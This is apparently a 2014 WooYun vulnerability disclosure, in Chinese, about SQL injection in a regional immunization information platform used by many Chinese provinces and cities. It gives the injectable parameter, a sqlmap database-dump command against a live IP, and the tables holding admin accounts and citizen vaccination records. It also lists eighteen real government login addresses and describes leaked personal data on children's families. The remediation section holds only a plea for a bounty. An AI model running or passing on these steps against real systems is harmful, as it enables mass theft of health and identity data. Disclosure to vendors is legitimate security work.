漏洞详情

披露状态:

2014-08-05: 细节已通知厂商并且等待厂商处理中
2014-08-10: 厂商已经确认,细节仅向厂商公开
2014-08-13: 细节向第三方安全合作伙伴开放
2014-10-04: 细节向核心白帽子及相关领域专家公开
2014-10-14: 细节向普通白帽子公开
2014-10-24: 细节向实习白帽子公开
2014-11-03: 细节向公众公开

简要描述:

全国免疫规划信息管理平台通杀注射,涉及几亿数据

详细说明:

全国各地免疫规划信息管理平台通杀注射,系统为苏卫,几亿数据泄露
举例:
江苏省后台地址:

mask 区域
1.http://**.**.**/JiangSu/systemsetting/userLogin.action


通杀注射URL:

mask 区域
*****amp;CX_Year=2005&amp*****


CX_DAY未做过滤,为注射参数,sqlmap直接跑
完整通杀注射URL,后台+注射文件地址:
http://218.94.1.82/

mask 区域
*****=xxx&CX_Year=2005*****

*
sqlmap命令,其他的案例以此类推:

sqlmap -u "http://218.94.1.82/
mask 区域
*****=xxx&CX_Year=2005*****

*" --dbs --threads 8


数据库此套系统配套的,均为EPI_XXXX,可以利用sqlmap --current-db查看
后台管理登录用户在EPI_XXXX数据库下的SYS_USER表中,所有的公民信息都在EPI_XXX数据库下的EPI_JZJL表中,可以利用sqlmap --count查看数量,一个省估计就有6000W,市大概2000W左右,各省市加起来已超几亿
具体全国各省市案例举例部分如下:

mask 区域
*****ode*****
**********
1.://**.**.**//218.94.1.82/JiangSu/systemsetting/userLogin.action_
**********
2.://**.**.**//221.0.95.10:81/YANTAI/systemsetting/userLogin.action_
**********
3.://**.**.**//221.2.136.226:81/WeiHai/systemsetting/userLogin.action_
**********
4.://**.**.**//222.43.17.20:81/BinZhou/systemsetting/userLogin.action_
**********
5.://**.**.**//124.128.199.18:81/JiNan/systemsetting/userLogin.action_
**********
6.://**.**.**//222.173.107.8:81/QingDao/systemsetting/userLogin.action_
**********
7.://**.**.**//61.174.211.147:81/ShaoXing/web/systemsetting/userLogin.action_
**********
8.://**.**.**//data.zjepi.net/ZheJiang/systemsetting/userLogin.action_
**********
9.://**.**.**//epi.srcdc.cn:81/ShangRao/systemsetting/userLogin.action_
**********
10.://**.**.**//222.134.193.3:81/LaiWu/systemsetting/userLogin.action_
**********
11.://**.**.**//221.230.140.53:81/TaiZhou/systemsetting/userLogin.action_
**********
12.://**.**.**//221.2.209.123:81/LiaoCheng/systemsetting/userLogin.action_
**********
13.://**.**.**//123.130.246.107:81/HeZe/systemsetting/userLogin.action_
**********
14.://**.**.**//222.133.50.115:81/DeZhou/systemsetting/userLogin.action_
**********
15.://**.**.**//122.224.254.131:81/HangZhou/systemsetting/userLogin.action_
**********
16.://**.**.**//60.211.241.117:81/JiNing/systemsetting/userLogin.action_
**********
17.://**.**.**//221.2.55.101:81/RiZhao/systemsetting/userLogin.action_
**********
18.://**.**.**//61.177.181.61:81/YangZhou/systemsetting/userLogin.action




</code></mask>

漏洞证明:

对江苏省2014年的数据来看,泄露的包括免疫儿童父母全家信息、身份证、电话、住址等等
统计了下2014年一年,仅仅2014年一年,江苏省的数据量为47W信息,其他省市不一一举例!

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww.png


ooooooooooo.png


yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy.png

修复方案:

加急!!!!wooyun现金求给力!!!!

标签: none

评论已关闭